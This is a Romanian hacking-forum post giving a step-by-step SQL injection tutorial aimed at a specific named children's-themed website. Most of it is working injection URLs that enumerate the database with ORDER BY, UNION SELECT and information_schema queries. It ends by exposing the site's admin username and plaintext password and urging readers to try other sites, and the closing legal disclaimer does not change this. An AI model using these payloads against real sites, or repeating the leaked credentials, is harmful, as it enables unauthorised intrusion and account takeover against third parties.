Simpatie.ro - matrimoniale
Team-BlueWater Hacking
Team-BlueWater Hacking Support!
Nou pe simpatie:
Lolo 24 ani
Femeie
24 ani
Galati
cauta Barbat
25 - 52 ani
Team-BlueWater HackingReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Team-BlueWater Hacking / Tutoriale /

[Tutorial]Sql injection

Pagini: 1 Moderat de RevYvaL
#1
m4s4cru
TVOnline Gratis
Din: Craiova
Postari: 1217
Tutorial SQL Injection

Cred ca nu a fost postat pt ca l-am cautat si nu l-am gasit...
Sa incepem

PASUL 1:
-gasim un site:
eu am luat

Code:

www.magiacopilariei.ro

PASUL 2:
-cautam vulnerabilitatea:
intram aici:

Code:

http://www.magiacopilariei.ro/articole.php?articol=8

PASUL 3:
-dupa 8 punem '
-va arata asa:
http://www.magiacopilariei.ro/articole.php?articol=8'

Obs: Dupa ce am pus ' dupa 8 si am dat enter vedem ca a aparut o eroare,
aceasta eroare ne spune noua ca acest site este vulnerabil.
-Eroarea care o da arata asa:
QF: select * from articole where id=8\'

PASUL 4:
-acum ca stim ca acest site este vulnerabil folosim:

Code:

order by--

pentru a afla numarul de coloane din db sql.
-vom pune asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=8 order by 100--

-am pus numarul de coloane 100.

Obs: Eroarea a aparut din nou, acum stim ca are mai putin de 100 de coloane.
-acum in loc de 100 punem 1.
-va arata asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=8 order by 1--

Obs: Eroarea a disparut, inseamna ca are mai mult de 1 coloana si mai putin de 100.
-acum punem 10 pentru a vedea daca sunt mai putine de 10.

Code:

http://www.magiacopilariei.ro/articole.php?articol=8 order by 10--

Obs: Eroarea a aparut, deci sunt mai putin de 10.
-acum punem 5:

Code:

http://www.magiacopilariei.ro/articole.php?articol=8 order by 5--

Obs: eroarea a aparut, sunt mai putin de 5
-punem 4.

Code:

http://www.magiacopilariei.ro/articole.php?articol=8 order by 4--

Obs: EROAREA NU APARE, DECI SUNT 4 COLOANE

PASUL 5:
-dupa ce am aflat cate coloane are (are 4 coloane) folosim:
union all select
-vom scrie asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=8 union all select 1,2,3,4--

Obs: Vedem ca nu apare nimic, inseamna ca functia union nu functioneaza.

PASUL 5:
-schimbam id-ul din url si in loc de "articol=8" punem "articol=-1"
-va arata asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,2,3,4--

Obs: Pe pagina au aparut doua cifre (4-2), acelea sunt coloanele vulnerabile.

PASUL 6:
-pentru a afla versiunea punem in loc de coloanele vulnerabile (4-2):
@@version
-va arata asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,@@version,3,4--

(eu l-am ales pe 2, puteti sa-l alegeti si pe 4, important este sa fie o cifra care va apare pe pagina)
Obs:In loc de cifra 2 care ne-a aparut in pasul anterior a aparut versiunea. (versiunea este: 5.0.32-Debian_7etch8-log )

PASUL 7:
-daca versiunea este mai mare de 5 folosim "information_schema" daca este mai mica ghicim totul.
-in cazul nostru versiunea este mai mare de 5, deci flolosim "information_schema"
-acum pentru a afla numele tabelelor punem in loc de 2:
table_name
si dupa 4 punem
from information_schema.tables--
-va arata asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,table_name,3,4 from information_schema.tables--

Obs: a aparut"CHARACTER_SETS", este numele unui tabel, noua ne trebuie ceva de genu admin...utilizator...user.
-acum pentru a vedea numele urmatorului tabel folosim "limit".
-dupa "from information_schema.tables--" adaugam "limit 1,1--"
-va arata asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,table_name,3,4 from information_schema.tables limit 1,1--

Obs: a aparut "COLLATIONS", noi va trebui sa inlocuim 1,1 cu 2,1 ; 3,1...si tot asa pana ne zice ceva de legat de admin/user/username.
-la "limit 20,1--" am primit "USER":

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,table_name,3,4 from information_schema.tables limit 20,1--

-am aflat numele tabelului, mai trebuie si coloana.
-acum inlocuim "table_name" cu "column_name" si in "information_schema.tables" scriem "information_schema.columns"

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,column_name,3,4 from information_schema.columns limit 20,1--

PASUL 8:
-acum aflam username si pass
-ne folosim de ce ne-a dat la pasul 7 cand am primit numele tabelului "USER"
-inlocuim "information_schema.columns limit 20,1--" cu "user--", iar in loc de 2 punem username sau user.
-va arata asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,username,3,4 from user--

Obs: apare eroare ..NU E BINE!
-inlocuim "username" cu "user":
-va arata asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,user,3,4 from user--

Obs: in loc de cifra 4 scrie "Admin"..acesta este username-ul.
-acum ca am aflat username trebuie sa aflam parola...
-inlocuim "user" cu "password".
-vom avea asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,password,3,4 from user--

Obs: Apare eroare, iar nu e bine.
-inlcuim "password" cu "pass", vom avea asa:

Code:

http://www.magiacopilariei.ro/articole.php?articol=-1 union all select 1,pass,3,4 from user--

Obs: A aparun "sunshine". Aceasta este parola.

PASUL 9:
-Va logati cu nume si parola.
-In cazul siteului

Code:

www.magiacopilariei.ro

nu avem unde sa ne logam, trebuie sa folosim ftp.
-Puteti cauta alte siteuri si sa le testati.

FINISH!

ATENTIE!!! Spargerea siteurilor este ILEGALA!!!
Acest tutorial este doar informativ, nu sunt responsabil pentru pagubele provocate.


 
   

Topicuri similare

Pagini: 1  
Mergi la